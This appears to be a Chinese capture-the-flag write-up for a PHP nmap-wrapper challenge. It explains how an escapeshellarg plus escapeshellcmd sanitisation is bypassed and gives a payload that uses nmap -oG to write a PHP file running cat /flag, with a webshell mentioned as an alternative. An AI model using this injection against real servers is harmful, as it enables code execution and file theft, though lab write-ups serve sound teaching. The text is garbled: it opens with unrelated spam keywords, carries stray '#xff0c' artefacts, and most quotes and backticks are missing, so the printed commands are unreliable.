杭州学校网站开发,如果自己建立网站,跨国网站浏览器,学校校园网网站建设预算这段代码块检查请求中是否设置了HTTP_X_FORWARDED_FOR头部。如果设置了#xff0c;它将REMOTE_ADDR设置为HTTP_X_FORWARDED_FOR的值。这通常用于处理Web服务器位于代理后面的情况。 如果URL中未设置host参数#xff0c;它使用highlight_file(__FILE__);来显示PHP文件的源代码…
这段代码块检查请求中是否设置了HTTP_X_FORWARDED_FOR头部。如果设置了它将REMOTE_ADDR设置为HTTP_X_FORWARDED_FOR的值。这通常用于处理Web服务器位于代理后面的情况。 如果URL中未设置host参数它使用highlight_file(__FILE__);来显示PHP文件的源代码。 将 $host 字符串传递给 escapeshellarg 后它会在字符串周围添加单引号并对一些特殊字符进行转义以防止它们被解释为特殊命令。 escapeshellcmd 函数用于转义字符串并删除任何特殊字符使其安全用作单个命令。 如果设置了host参数它获取该值使用escapeshellarg和escapeshellcmd进行一些净化创建基于客户端IP地址的唯一沙盒目录然后在该沙盒内对指定的主机执行nmap命令。
注意使用escapeshellarg和escapeshellcmd表明试图防止命令注入漏洞 chdir($sandbox); chdir 函数用于改变当前的工作目录Current Working DirectoryCWD为指定的目录。 在这里$sandbox 是之前根据用户IP地址创建的沙盒目录的名称通过 md5(glzjin . $_SERVER[REMOTE_ADDR]) 计算得到的。 这意味着 PHP 脚本的当前工作目录将被更改为用户特定的沙盒目录后续的文件和命令将在这个目录下执行。
1首先判断客户端提供给服务器和服务器自动获取的ip是否一致。 2判断get host参数时候传值没有传值高亮当前代码。 3传值host传递参数经过escapeshellargescapeshellcmd函数的限制。 4以’glzjin’ip通过md5加密形成值并作为文件名创建文件当前文件地址更改为创建的文件 5输出 system执行结果。 通过其他师傅明白了点原文PHP escapeshellarg()escapeshellcmd() 之殇 (seebug.org)
1. 传入的参数是172.17.0.2 -v -d a1
2. 经过escapeshellarg处理后变成了172.17.0.2\ -v -d a1即先对单引号转义再用单引号将左右两部分括起来从而起到连接的作用。
3. 经过escapeshellcmd处理后变成172.17.0.2\\ -v -d a1\这是因为escapeshellcmd对\以及最后那个**不配对儿**的引号进行了转义http://php.net/manual/zh/function.escapeshellcmd.php
4. 最后执行的命令是curl 172.17.0.2\\ -v -d a1\由于中间的\\被解释为\而不再是转义字符所以后面的没有被转义与再后面的配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a1即向172.17.0.2\发起请求POST 数据为a1。
但是经过上面的函数处理后变成了一个被单引号包围的字符串不会当命令去执行这里我们需要闭合一个单引号。
nmap有一个参数-oG可以实现将命令和结果写到文件
所以我们可以控制自己的输入写入文件这里我们可以写入一句话木马链接也可以直接命令 cat flag
flag
?host ?php echo cat /flag;? -oG test.php
这里注意用反引号cat /flag 然后直接读取 其实这里我是不太懂的因为查資料escapeshellcmd会
反斜线\会在以下字符之前插入 *#;|*?~^()[]{}$*, \x0A 和 \xFF。 和 仅在不配对儿的时候被转义。 在 Windows 平台上所有这些字符以及 % 和 ! 字符都会被空格代替。
那么运行结果会是这样的
\\?php echo \cat /flag\\;\?\ -oG test.php 这个在php文件怎么执行呢
然后
nmap -T5 -sT -Pn --host-timeout 2 -F \\?php echo \cat /flag\\;\?\ -oG test.php 在 Linux 中反斜杠\是转义字符用于改变后面字符的原始意义。它告诉解释器后面的字符应该被特殊对待而不是按照其原始含义解释。\\ 表示一个反斜杠字符。
就目前来看可以看到\都没有了只剩下了?php echo cat /flag;?
那一切都合理了\在linux中其实相当于无实义连接符